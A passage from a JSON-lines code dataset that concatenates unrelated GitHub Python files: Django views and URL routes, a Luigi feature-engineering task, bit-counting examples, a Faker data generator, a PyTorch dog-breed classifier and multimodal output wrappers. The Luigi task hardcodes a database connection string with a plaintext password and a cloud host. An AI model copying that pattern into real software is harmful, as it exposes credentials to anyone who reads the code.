else:\n form = ProfileForm(request.POST, instance=profile)\n if form.is_valid():\n form.save()\n return redirect('profile index')\n\n context = {\n 'form': form,\n }\n\n return render(request, 'profile-edit.html', context)\n\n\ndef delete_profile(request):\n profile = get_profile()\n if request.method == 'GET':\n return render(request, 'profile-delete.html')\n else:\n profile.delete()\n return redirect('index')\n","repo_name":"Minkov/python-web-2020-09","sub_path":"expenses_tracker/app/views/profiles.py","file_name":"profiles.py","file_ext":"py","file_size_in_byte":1677,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"} +{"seq_id":"2517015156","text":"import luigi\nimport logging\nimport psycopg2\nimport sqlalchemy\n\nimport pandas.io.sql as psql\nimport pandas as pd\n\nfrom sqlalchemy import create_engine\nfrom luigi.contrib.postgres import PostgresQuery, PostgresTarget\n\nimport feature_builder as fb\nfrom loadCleaned import loadCleaned\nfrom metadataCleaned import metadataCleaned\nfrom metadataTestCleaned import metadataTestCleaned\nimport pickle\n\nlogger = logging.getLogger('luigi-interface')\n############################################################## SEMANTIC ####################################\n\n############################################################## FEATURE ENGINEERING ####################################\n\nclass featureEngineering2(PostgresQuery):\n \"\"\"\n Function to load metadata from the extracting process from mexico city metro data set on the specified date. It\n uploads the data into the specified S3 bucket on AWS. Note: user MUST have the credentials to use the aws s3\n bucket. Requires extractToJson\n \"\"\"\n\n #==============================================================================================================\n # Parameters\n #==============================================================================================================\n task_name = 'feature_engineering_04_01'\n date = luigi.Parameter()\n bucket = luigi.Parameter(default='dpaprojs3') # default='dpaprojs3')\n #==============================================================================================================\n # Parameters for database connection\n #==============================================================================================================\n creds = pd.read_csv(\"../../../credentials_postgres.csv\")\n creds_aws = pd.read_csv(\"../../../credentials.csv\")\n print('Credenciales leídas correctamente')\n host = creds.host[0]\n database = creds.db[0]\n user = creds.user[0]\n password = creds.password[0]\n table = 'cleaned.metro'\n port = creds.port[0]\n query = \"\"\"SELECT * FROM cleaned.metro;\"\"\"\n #=============================================================================================================\n # Indica que para iniciar el proceso de carga de metadatos requiere que el task de extractToJson esté terminado\n def requires(self):\n return loadCleaned(bucket=self.bucket, date=self.date) # , metadataCleaned(bucket = self.bucket, date= self.date)\n\n def _requires(self):\n return {'a': metadataTestCleaned(bucket=self.bucket,date=self.date), 'b': [metadataCleaned(bucket=self.bucket,date=self.date)]}\n\n def run(self):\n connection = self.output().connect()\n connection.autocommit = self.autocommit\n cursor = connection.cursor()\n sql = self.query\n\n logger.info('Executing query from task: {name}'.format(name=self.task_name))\n cursor.execute(sql)\n self.output().touch(connection)\n \n connection.commit()\n connection.close()\n ###################################################################\n creds=self.creds\n connection = psycopg2.connect(user=creds.user[0],\n password=creds.password[0],\n host=creds.host[0],\n port=creds.port[0],\n database=creds.db[0])\n cursor = connection.cursor()\n df = psql.read_sql('SELECT * FROM cleaned.metro;', connection)\n\n df2 = fb.FeatureBuilder()\n df2 = df2.featurize(df)\n print(df2.shape)\n\n #model_matrix = fb.FeatureBuilder.create_model_matrix(df)\n x_original = df.copy()\n x_original.to_csv(\"x_original.csv\",index=False)\n \n #file = open('model_matrix.pkl', 'wb')\n #pickle.dump(model_matrix, file)\n #file.close() \n \n #file = open('model_matrix.pkl', 'wb')\n #data = pickle.dump(model_matrix,file)\n #file.close()\n\n #with open('model_matrix.pkl', 'wb') as f:\n # pickle.dump(model_matrix, f)\n\n engine = create_engine('postgresql+psycopg2://postgres:12345678@database-1.cqtrfcufxibu.us-west-2.rds.amazonaws.com:5432/dpa')\n print(\"ya pasó engine\")\n table_name= 'metro'\n print(table_name)\n scheme='semantic'\n print(scheme)\n print(\"Esperame tantito, toy pensando...\")\n df2.to_sql(table_name, con=engine,schema='semantic' , if_exists='replace', index=False)\n print(psql.read_sql('SELECT * FROM semantic.metro LIMIT 10;', connection))\n\n print(\"head:\")\n print(df2.head(10))\n print(\"tail:\")\n print(df2.tail(10))\n \n\nif __name__ == '__main__':\n luigi.featureEngineering2()\n\n\n","repo_name":"rafaelortegar/data-product-architecture-Project","sub_path":"src/luigi/Version2/featureEngineering2.py","file_name":"featureEngineering2.py","file_ext":"py","file_size_in_byte":4761,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"12852177921","text":"from django.conf.urls import include, url\n\nfrom blog.account import views\n\n\nurlpatterns = [\n url(r'^sign_in/$', views.sign_in),\n url(r'^sign_in_guest/$', views.sign_in_guest),\n url(r'^sign_up/$', views.sign_up),\n url(r'^users/', include('blog.account.users.urls')),\n url(r'^roles/', include('blog.account.roles.urls')),\n]\n","repo_name":"EternalZZX/blog-django","sub_path":"blog/account/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"30737076163","text":"\"\"\"\nCount Number of Set Bits | Find Number of Set Bits | Set Bits in a Binary of a Number\n- It means finding the number of 1's\n2 approaches:\n- Using the right shift operator\n- & Bitwise Operator\n\"\"\"\nimport math\n# Method 1: using the right shift operator\ndef countSetBits(num):\n count = 0\n while(num > 0):\n if (num & 1 > 0):\n count +=1\n num = num >> 1\n return count\n\nprint(countSetBits(171))\nprint(countSetBits(14422)) \n\n# gives the total number of bits in the given number\n# - it represents the complexity of the number\nprint(math.ceil(math.log(171,2))) \nprint(math.ceil(math.log(14422,2))) \n\n# Method 2\nprint(\"################# Method 2 #################\")\n# time complexity: number of set bits\ndef countSetBitsFaster(num):\n count = 0\n while(num > 0):\n mask = num -1\n num = num & mask\n count += 1\n return count\n\nprint(countSetBitsFaster(171))\nprint(countSetBitsFaster(14422))","repo_name":"Chemokoren/Algorithms-1","sub_path":"Bit Manipulation/count_number_of_set_bits.py","file_name":"count_number_of_set_bits.py","file_ext":"py","file_size_in_byte":942,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"1950517142","text":"import os\nos.environ.setdefault('DJANGO_SETTINGS_MODULE','jobsproject.settings')\n\nimport django\ndjango.setup()\n\nfrom jobsapp.models import Hydjobs,Mumbaijobs,Husnabadjobs,Punejobs\nfrom faker import Faker\nfrom random import *\n\ndef phonenumbergen():\n d1=randint(6,9)\n num=str(d1)\n for i in range(9):\n num=num+str(randint(0,9))\n return int(num)\n\nfake=Faker()\ndef fakedatagen(n):\n for i in range(n):\n fCompanyName=fake.name()\n fJobName=fake.random_element(elements=('Jr.Software Developer','Sr.Software Developer','Team Leader','HR','CEO'))\n fQualification=fake.random_element(elements=('10th','InterMediate','Btech','Mtech','PG','Any Degree','PHD'))\n fExperience=fake.random_element(elements=('1Year','2Years','3Years','4Years','5Years'))\n fSalary=fake.random_int(min=50000,max=100000)\n fContactNumber=phonenumbergen()\n fEmail=fake.email()\n fAddress=fake.address()\n fakedata_record=Husnabadjobs.objects.get_or_create(\n CompanyName=fCompanyName,\n JobName=fJobName,\n Qualification=fQualification,\n Experience=fExperience,\n Salary=fSalary,\n ContactNumber=fContactNumber,\n Email=fEmail,\n Address=fAddress)\n fakedata_record=Hydjobs.objects.get_or_create(\n CompanyName=fCompanyName,\n JobName=fJobName,\n Qualification=fQualification,\n Experience=fExperience,\n Salary=fSalary,\n ContactNumber=fContactNumber,\n Email=fEmail,\n Address=fAddress)\n fakedata_record=Mumbaijobs.objects.get_or_create(\n CompanyName=fCompanyName,\n JobName=fJobName,\n Qualification=fQualification,\n Experience=fExperience,\n Salary=fSalary,\n ContactNumber=fContactNumber,\n Email=fEmail,\n Address=fAddress)\n fakedata_record=Punejobs.objects.get_or_create(\n CompanyName=fCompanyName,\n JobName=fJobName,\n Qualification=fQualification,\n Experience=fExperience,\n Salary=fSalary,\n ContactNumber=fContactNumber,\n Email=fEmail,\n Address=fAddress)\n\nn=int(input(\"enter any number to generate fake data:\"))\nfakedatagen(n)\nprint(f\"{n} times fake data generated successfully...!!!\")\n","repo_name":"poornachander0777/jobs_repo","sub_path":"jobsproject/fakejobsdatagen.py","file_name":"fakejobsdatagen.py","file_ext":"py","file_size_in_byte":2452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"10242197419","text":"from itertools import permutations\nS,K=input().split()\nK=int(K)\nS=list(S)\nS.sort()\nS_set=set()\ncnt=0\nfor seq in permutations(S,len(S)):\n if seq not in S_set:\n cnt+=1\n S_set.add(seq)\n if K==cnt:\n print(*seq,sep='')\n exit()\n \n\n \n","repo_name":"gomatofu/atcoder","sub_path":"submissions/abc215/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":248,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"21432333795","text":"import pandas as pd\nimport numpy as np\nimport time\nimport torch\nimport torchvision\nfrom PIL import Image\nfrom sklearn.model_selection import StratifiedShuffleSplit\nfrom sklearn.preprocessing import LabelEncoder\nfrom torch import nn, optim\nfrom torch.autograd import Variable\nfrom torch.utils.data import Dataset, DataLoader\nfrom torch.utils.data.sampler import SubsetRandomSampler\nfrom torchvision import transforms, models\n\n\nclass DogsDataset(Dataset):\n \"\"\"Dataset\n Arguments:\n A CSV file path\n Path to image folder\n Extension of images\n PIL transforms\n \"\"\"\n\n def __init__(self, csv_path, img_path, img_ext, transform=None):\n tmp_df = pd.read_csv(csv_path)\n # print(tmp_df)\n # assert tmp_df['breed'].apply(lambda x: os.path.isfile(img_path + x + img_ext)).all(), \\\n # \"Some images referenced in the CSV file were not found\"\n\n self.mlb = LabelEncoder()\n self.img_path = img_path\n self.img_ext = img_ext\n self.transform = transform\n\n self.X_train = tmp_df['id']\n self.y_train = self.mlb.fit_transform(tmp_df['breed']) # having problem shaping it in the right size\n\n # print(self.y_train[0])\n\n def __getitem__(self, index):\n img = Image.open(self.img_path + self.X_train[index] + self.img_ext)\n img = img.convert('RGB')\n if self.transform is not None:\n img = self.transform(img)\n\n label = (self.y_train[index])\n return img, label\n\n def __len__(self):\n return len(self.X_train.index)\n\n\nIMG_PATH = 'train/'\nIMG_EXT = '.jpg'\nTRAIN_DATA = 'labels.csv'\nepochs = 100\ndo_transfer_learning = False\nprint(\"Transfer learning:\" + str(do_transfer_learning))\n\ntransformations = transforms.Compose([transforms.RandomSizedCrop(224), transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])\n ])\n\ndog_dataset = DogsDataset(TRAIN_DATA, IMG_PATH, IMG_EXT, transformations)\n\n# get stratified indixes\n'''_, test_index = next(StratifiedShuffleSplit(n_splits=1, test_size=0.2, random_state=92748301).split(np.zeros(len(dog_dataset.y_train)), dog_dataset.y_train))\ntrain_index, validation_index = next(StratifiedShuffleSplit(n_splits=1, test_size=0.125, random_state=78547820).split(np.zeros(len(_)), dog_dataset.y_train[_]))\n'''\n\ndef make_stratified_splits(dataset):\n X = dataset.X_train\n y = dataset.y_train\n test_straf = StratifiedShuffleSplit(n_splits=1, test_size= 0.2, train_size=0.8, random_state=4456)\n \n train_straf = StratifiedShuffleSplit(n_splits=1, test_size= 0.125,train_size=0.875, random_state=58778)\n rest_index, test_index = next(test_straf.split(X, y))\n #print(\"rest:\", X[rest_index], \"\\nTEST:\", X[test_index])\n \n train_index, val_index =next( train_straf.split(X[rest_index], y[rest_index]))\n #print(\"train:\", X[train_index], \"\\nval:\", X[val_index])\n \n # we can equiv also retrn these indexes for the random sampler to do its job \n #print(test_index,train_index,val_index)\n return (train_index,val_index,test_index)\n\ntrain_index, validation_index, test_index = make_stratified_splits(dog_dataset)\n# define dataloaders\ntrain_loader = DataLoader(dog_dataset,batch_size=50,\n sampler=SubsetRandomSampler(train_index),\n num_workers=1, pin_memory=True)\nvalidation_loader = DataLoader(dog_dataset,batch_size=50, sampler=SubsetRandomSampler(validation_index), num_workers=1, pin_memory=True)\ntest_loader = DataLoader(dog_dataset,batch_size=50, sampler=SubsetRandomSampler(test_index), num_workers=1, pin_memory=True)\n\n# create models and change fc layer\n#alexnet_pretrained = models.alexnet(pretrained=True)\n#num_ftrs = alexnet_pretrained.classifier._modules['6'].in_features\n#alexnet_pretrained.classifier._modules['6'] = nn.Linear(num_ftrs, 120)\n\n#alexnet = models.alexnet(num_classes=120)\n\n#model = alexnet\n\n#if do_transfer_learning:\n# model = alexnet_pretrained\n\n# make the net\nmodel = torchvision.models.resnet18(pretrained=do_transfer_learning)\nnum_ftrs = model.fc.in_features\nmodel.fc = nn.Linear(num_ftrs, 120)\n\nmodel = model.cuda()\n\ncriterion = nn.CrossEntropyLoss()\noptimizer = optim.SGD(model.parameters(), lr=1e-2, momentum=0.9)\n\n\n\nmodel = model.cuda()\n\n# define loss function, etc.\n\n#criterion = nn.CrossEntropyLoss()\n#optimizer = optim.SGD(model.parameters(), lr=0.001)\n\nbest_acc = 0\nfor epoch in range(epochs):\n model.train(True)\n running_corrects = 0\n for batch_idx, (data, target) in enumerate(train_loader):\n # data, target = data.cuda(async=True), target.cuda(async=True) # On GPU\n data, target = Variable(data.cuda()), Variable(target.long().cuda())\n\n optimizer.zero_grad()\n output = model(data)\n # print( output.size(), target.data)\n loss = criterion(output, target)\n loss.backward()\n optimizer.step()\n\n _, preds = torch.max(output.data, 1)\n running_corrects += torch.sum(preds == target.data)\n\n if batch_idx % 10 == 0:\n print('Train Epoch: {} [{}/{} ({:.0f}%)]\\tLoss: {:.6f}'.format(\n epoch, batch_idx * len(data), len(train_loader.dataset),\n 100. * batch_idx / len(train_loader), loss.data[0]))\n\n epoch_acc = running_corrects / len(train_index)\n print('{} Acc: {:.4f}'.format(\n 'train', epoch_acc))\n\n model.train(False)\n running_corrects = 0\n for batch_idx, (data, target) in enumerate(validation_loader):\n data, target = Variable(data.cuda()), Variable(target.long().cuda())\n output = model(data)\n\n _, preds = torch.max(output.data, 1)\n running_corrects += torch.sum(preds == target.data)\n\n epoch_acc = running_corrects / len(validation_index)\n print('{} Acc: {:.4f}'.format(\n 'valid', epoch_acc))\n if epoch_acc > best_acc:\n best_acc = epoch_acc\n best_model_wts = model.state_dict()\n\nprint('Best val Acc: {:4f}'.format(best_acc))\nmodel.load_state_dict(best_model_wts)\ntorch.save(model.state_dict(),'mytraining.pt')\n# to load a model use : model.load_state_dict(torch.load('mytraining.pt'))\n\nmodel.train(False)\nrunning_corrects = 0\nfor batch_idx, (data, target) in enumerate(test_loader):\n data, target = Variable(data.cuda()), Variable(target.long().cuda())\n output = model(data)\n\n _, preds = torch.max(output.data, 1)\n running_corrects += torch.sum(preds == target.data)\n\ntest_acc = running_corrects / len(test_index)\n\nprint('Test Acc: {:4f}'.format(test_acc))\n","repo_name":"carlbalmer/DeepLearningGroupTasks","sub_path":"Assignments/Assignment2/dog_breed_with_validation.py","file_name":"dog_breed_with_validation.py","file_ext":"py","file_size_in_byte":6578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"26411362324","text":"import os\nimport re\nimport tempfile\nimport uuid\nfrom typing import Dict\n\nimport json\nimport numpy as np\nfrom moviepy.editor import VideoFileClip\nfrom PIL import Image\n\n\nclass OutputWrapper:\n \"\"\"\n Wrapper for output of tool execution when output is image, video, audio, etc.\n In this wrapper, __repr__() is implemented to return the str representation of the output for llm.\n Each wrapper have below attributes:\n path: the path where the output is stored\n raw_data: the raw data, e.g. image, video, audio, etc. In remote mode, it should be None\n \"\"\"\n\n def __init__(self) -> None:\n self._repr = None\n self._path = None\n self._raw_data = None\n\n self.root_path = os.environ.get('OUTPUT_FILE_DIRECTORY', None)\n if self.root_path and not os.path.exists(self.root_path):\n try:\n os.makedirs(self.root_path)\n except Exception:\n self.root_path = None\n\n def __repr__(self) -> str:\n return self._repr\n\n @property\n def path(self):\n return self._path\n\n @property\n def raw_data(self):\n return self._raw_data\n\n\nclass ImageWrapper(OutputWrapper):\n \"\"\"\n Image wrapper, raw_data is a PIL.Image\n \"\"\"\n\n def __init__(self, image) -> None:\n\n super().__init__()\n\n if isinstance(image, str):\n try:\n self._path = image\n image = Image.open(self._path)\n self._raw_data = image\n except FileNotFoundError:\n # Image store in remote server when use remote mode\n pass\n else:\n if not isinstance(image, Image.Image):\n image = Image.fromarray(image.astype(np.uint8))\n self._raw_data = image\n else:\n self._raw_data = image\n directory = tempfile.mkdtemp(dir=self.root_path)\n self._path = os.path.join(directory, str(uuid.uuid4()) + '.png')\n self._raw_data.save(self._path)\n\n self._repr = f'![IMAGEGEN]({self._path})'\n\n\nclass AudioWrapper(OutputWrapper):\n \"\"\"\n Audio wrapper, raw_data is a binary file\n \"\"\"\n\n def __init__(self, audio) -> None:\n\n super().__init__()\n if isinstance(audio, str):\n try:\n self._path = audio\n with open(self._path, 'rb') as f:\n self._raw_data = f.read()\n except FileNotFoundError:\n pass\n else:\n self._raw_data = audio\n directory = tempfile.mkdtemp(dir=self.root_path)\n self._path = os.path.join(directory, str(uuid.uuid4()) + '.wav')\n\n with open(self._path, 'wb') as f:\n f.write(self._raw_data)\n\n self._repr = f''\n\n\nclass VideoWrapper(OutputWrapper):\n \"\"\"\n Video wrapper\n \"\"\"\n\n def __init__(self, video) -> None:\n\n super().__init__()\n if isinstance(video, str):\n try:\n self._path = video\n video = VideoFileClip(self._path)\n # currently, we should save video as gif, not mp4\n if not self._path.endswith('gif'):\n directory = tempfile.mkdtemp(dir=self.root_path)\n self._path = os.path.join(directory,\n str(uuid.uuid4()) + '.gif')\n video.write_gif(self._path)\n except (ValueError, OSError):\n pass\n else:\n raise TypeError(\n 'Current only support load from filepath when it is video')\n\n self._raw_data = video\n self._repr = f'![IMAGEGEN]({self._path})'\n\n\ndef get_raw_output(exec_result: Dict):\n # get rwa data of exec_result\n res = {}\n for k, v in exec_result.items():\n if isinstance(v, OutputWrapper):\n # In remote mode, raw data maybe None\n res[k] = v.raw_data or str(v)\n else:\n res[k] = v\n return res\n\n\ndef display(llm_result: str, idx: int):\n \"\"\"Display the result of each round in jupyter notebook.\n The multi-modal data will be extracted.\n\n Args:\n llm_result (str): llm result\n idx (int): current round\n \"\"\"\n from IPython.display import display, Pretty, Image, Audio, JSON\n idx_info = '*' * 50 + f'round {idx}' + '*' * 50\n display(Pretty(idx_info))\n match_image = re.search(r'!\\[IMAGEGEN\\]\\((.*?)\\)', llm_result)\n if match_image:\n result = match_image.group(1)\n try:\n display(Image(result))\n llm_result = llm_result.replace(match_image.group(0), '')\n except Exception:\n pass\n\n match_audio = re.search(\n r'